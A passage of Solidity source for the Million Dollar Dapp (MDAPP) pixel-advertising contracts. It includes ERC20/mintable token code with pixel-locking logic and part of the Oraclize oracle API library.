uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title MDAPPToken
* @dev Token for the Million Dollar Decentralized Application (MDAPP).
* Once a holder uses it to claim pixels the appropriate tokens are burned (1 Token <=> 10x10 pixel).
* If one releases his pixels new tokens are generated and credited to ones balance. Therefore, supply will
* vary between 0 and 10,000 tokens.
* Tokens are transferable once minting has finished.
* @dev Owned by MDAPP.sol
*/
contract MDAPPToken is MintableToken {
using SafeMath16 for uint16;
using SafeMath for uint256;
string public constant name = "MillionDollarDapp";
string public constant symbol = "MDAPP";
uint8 public constant decimals = 0;
mapping (address => uint16) locked;
bool public forceTransferEnable = false;
/*********************************************************
* *
* Events *
* *
*********************************************************/
// Emitted when owner force-allows transfers of tokens.
event AllowTransfer();
/*********************************************************
* *
* Modifiers *
* *
*********************************************************/
modifier hasLocked(address _account, uint16 _value) {
require(_value <= locked[_account], "Not enough locked tokens available.");
_;
}
modifier hasUnlocked(address _account, uint16 _value) {
require(balanceOf(_account).sub(uint256(locked[_account])) >= _value, "Not enough unlocked tokens available.");
_;
}
/**
* @dev Checks whether it can transfer or otherwise throws.
*/
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokensOf(_sender), "Not enough unlocked tokens available.");
_;
}
/*********************************************************
* *
* Limited Transfer Logic *
* Taken from openzeppelin 1.3.0 *
* *
*********************************************************/
function lockToken(address _account, uint16 _value) onlyOwner hasUnlocked(_account, _value) public {
locked[_account] = locked[_account].add(_value);
}
function unlockToken(address _account, uint16 _value) onlyOwner hasLocked(_account, _value) public {
locked[_account] = locked[_account].sub(_value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _to The address that will receive the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _from The address that will send the tokens.
* @param _to The address that will receive the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Allow the holder to transfer his tokens only if every token in
* existence has already been distributed / minting is finished.
* Tokens which are locked for a claimed space cannot be transferred.
*/
function transferableTokensOf(address _holder) public view returns (uint16) {
if (!mintingFinished && !forceTransferEnable) return 0;
return uint16(balanceOf(_holder)).sub(locked[_holder]);
}
/**
* @dev Get the number of pixel-locked tokens.
*/
function lockedTokensOf(address _holder) public view returns (uint16) {
return locked[_holder];
}
/**
* @dev Get the number of unlocked tokens usable for claiming pixels.
*/
function unlockedTokensOf(address _holder) public view returns (uint256) {
return balanceOf(_holder).sub(uint256(locked[_holder]));
}
// Allow transfer of tokens even if minting is not yet finished.
function allowTransfer() onlyOwner public {
require(forceTransferEnable == false, 'Transfer already force-allowed.');
forceTransferEnable = true;
emit AllowTransfer();
}
}
/**
* @title MDAPP
*/
contract MDAPP is Ownable, HasNoEther, CanReclaimToken {
using SafeMath for uint256;
using SafeMath16 for uint16;
// The tokens contract.
MDAPPToken public token;
// The sales contracts address. Only it is allowed to to call the public mint function.
address public sale;
// When are presale participants allowed to place ads?
uint256 public presaleAdStart;
// When are all token owners allowed to place ads?
uint256 public allAdStart;
// Quantity of tokens bought during presale.
mapping (address => uint16) presales;
// Indicates whether a 10x10px block is claimed or not.
bool[80][125] grid;
// Struct that represents an ad.
struct Ad {
address owner;
Rect rect;
}
// Struct describing an rectangle area.
struct Rect {
uint16 x;
uint16 y;
uint16 width;
uint16 height;
}
// Don't store ad details on blockchain. Use events as storage as they are significantly cheaper.
// ads are stored in an array, the id of an ad is its index in this array.
Ad[] ads;
// The following holds a list of currently active ads (without holes between the indexes)
uint256[] adIds;
// Holds the mapping from adID to its index in the above adIds array. If an ad gets released, we know which index to
// delete and being filled with the last element instead.
mapping (uint256 => uint256) adIdToIndex;
/*********************************************************
* *
* Events *
* *
*********************************************************/
/*
* Event for claiming pixel blocks.
* @param id ID of the new ad
* @param owner Who owns the used tokens
* @param x Upper left corner x coordinate
* @param y Upper left corner y coordinate
* @param width Width of the claimed area
* @param height Height of the claimed area
*/
event Claim(uint256 indexed id, address indexed owner, uint16 x, uint16 y, uint16 width, uint16 height);
/*
* Event for releasing pixel blocks.
* @param id ID the fading ad
* @param owner Who owns the claimed blocks
*/
event Release(uint256 indexed id, address indexed owner);
/*
* Event for editing an ad.
* @param id ID of the ad
* @param owner Who owns the ad
* @param link A link
* @param title Title of the ad
* @param text Description of the ad
* @param NSFW Whether the ad is safe for work
* @param digest IPFS hash digest
* @param hashFunction IPFS hash function
* @param size IPFS length of digest
* @param storageEngine e.g. ipfs or swrm (swarm)
*/
event EditAd(uint256 indexed id, address indexed owner, string link, string title, string text, string contact, bool NSFW, bytes32 indexed digest, bytes2 hashFunction, uint8 size, bytes4 storageEngine);
event ForceNSFW(uint256 indexed id);
/*********************************************************
* *
* Modifiers *
* *
*********************************************************/
modifier coordsValid(uint16 _x, uint16 _y, uint16 _width, uint16 _height) {
require((_x + _width - 1) < 125, "Invalid coordinates.");
require((_y + _height - 1) < 80, "Invalid coordinates.");
_;
}
modifier onlyAdOwner(uint256 _id) {
require(ads[_id].owner == msg.sender, "Access denied.");
_;
}
modifier enoughTokens(uint16 _width, uint16 _height) {
require(uint16(token.unlockedTokensOf(msg.sender)) >= _width.mul(_height), "Not enough unlocked tokens available.");
_;
}
modifier claimAllowed(uint16 _width, uint16 _height) {
require(_width > 0 &&_width <= 125 && _height > 0 && _height <= 80, "Invalid dimensions.");
require(now >= presaleAdStart, "Claim period not yet started.");
if (now < allAdStart) {
// Sender needs enough presale tokens to claim at this point.
uint16 tokens = _width.mul(_height);
require(presales[msg.sender] >= tokens, "Not enough unlocked presale tokens available.");
presales[msg.sender] = presales[msg.sender].sub(tokens);
}
_;
}
modifier onlySale() {
require(msg.sender == sale);
_;
}
modifier adExists(uint256 _id) {
uint256 index = adIdToIndex[_id];
require(adIds[index] == _id, "Ad does not exist.");
_;
}
/*********************************************************
* *
* Initialization *
* *
*********************************************************/
constructor(uint256 _presaleAdStart, uint256 _allAdStart, address _token) public {
require(_presaleAdStart >= now);
require(_allAdStart > _presaleAdStart);
presaleAdStart = _presaleAdStart;
allAdStart = _allAdStart;
token = MDAPPToken(_token);
}
function setMDAPPSale(address _mdappSale) onlyOwner external {
require(sale == address(0));
sale = _mdappSale;
}
/*********************************************************
* *
* Logic *
* *
*********************************************************/
// Proxy function to pass minting from sale contract to token contract.
function mint(address _beneficiary, uint256 _tokenAmount, bool isPresale) onlySale external {
if (isPresale) {
presales[_beneficiary] = presales[_beneficiary].add(uint16(_tokenAmount));
}
token.mint(_beneficiary, _tokenAmount);
}
// Proxy function to pass finishMinting() from sale contract to token contract.
function finishMinting() onlySale external {
token.finishMinting();
}
// Public function proxy to forward single parameters as a struct.
function claim(uint16 _x, uint16 _y, uint16 _width, uint16 _height)
claimAllowed(_width, _height)
coordsValid(_x, _y, _width, _height)
external returns (uint)
{
Rect memory rect = Rect(_x, _y, _width, _height);
return claimShortParams(rect);
}
// Claims pixels and requires to have the sender enough unlocked tokens.
// Has a modifier to take some of the "stack burden" from the proxy function.
function claimShortParams(Rect _rect)
enoughTokens(_rect.width, _rect.height)
internal returns (uint id)
{
token.lockToken(msg.sender, _rect.width.mul(_rect.height));
// Check affected pixelblocks.
for (uint16 i = 0; i < _rect.width; i++) {
for (uint16 j = 0; j < _rect.height; j++) {
uint16 x = _rect.x.add(i);
uint16 y = _rect.y.add(j);
if (grid[x][y]) {
revert("Already claimed.");
}
// Mark block as claimed.
grid[x][y] = true;
}
}
// Create placeholder ad.
id = createPlaceholderAd(_rect);
emit Claim(id, msg.sender, _rect.x, _rect.y, _rect.width, _rect.height);
return id;
}
// Delete an ad, unclaim pixelblocks and unlock tokens.
function release(uint256 _id) adExists(_id) onlyAdOwner(_id) external {
uint16 tokens = ads[_id].rect.width.mul(ads[_id].rect.height);
// Mark blocks as unclaimed.
for (uint16 i = 0; i < ads[_id].rect.width; i++) {
for (uint16 j = 0; j < ads[_id].rect.height; j++) {
uint16 x = ads[_id].rect.x.add(i);
uint16 y = ads[_id].rect.y.add(j);
// Mark block as unclaimed.
grid[x][y] = false;
}
}
// Delete ad
delete ads[_id];
// Reorganize index array and map
uint256 key = adIdToIndex[_id];
// Fill gap with last element of adIds
adIds[key] = adIds[adIds.length - 1];
// Update adIdToIndex
adIdToIndex[adIds[key]] = key;
// Decrease length of adIds array by 1
adIds.length--;
// Unlock tokens
if (now < allAdStart) {
// The ad must have locked presale tokens.
presales[msg.sender] = presales[msg.sender].add(tokens);
}
token.unlockToken(msg.sender, tokens);
emit Release(_id, msg.sender);
}
// The image must be an URL either of bzz, ipfs or http(s).
function editAd(uint _id, string _link, string _title, string _text, string _contact, bool _NSFW, bytes32 _digest, bytes2 _hashFunction, uint8 _size, bytes4 _storageEnginge) adExists(_id) onlyAdOwner(_id) public {
emit EditAd(_id, msg.sender, _link, _title, _text, _contact, _NSFW, _digest, _hashFunction, _size, _storageEnginge);
}
// Allows contract owner to set the NSFW flag for a given ad.
function forceNSFW(uint256 _id) onlyOwner adExists(_id) external {
emit ForceNSFW(_id);
}
// Helper function for claim() to avoid a deep stack.
function createPlaceholderAd(Rect _rect) internal returns (uint id) {
Ad memory ad = Ad(msg.sender, _rect);
id = ads.push(ad) - 1;
uint256 key = adIds.push(id) - 1;
adIdToIndex[id] = key;
return id;
}
// Returns remaining balance of tokens purchased during presale period qualifying for earlier claims.
function presaleBalanceOf(address _holder) public view returns (uint16) {
return presales[_holder];
}
// Returns all currently active adIds.
function getAdIds() external view returns (uint256[]) {
return adIds;
}
/*********************************************************
* *
* Other *
* *
*********************************************************/
// Allow transfer of tokens even if minting is not yet finished.
function allowTransfer() onlyOwner external {
token.allowTransfer();
}
}
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof; // Silence compiler warnings
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
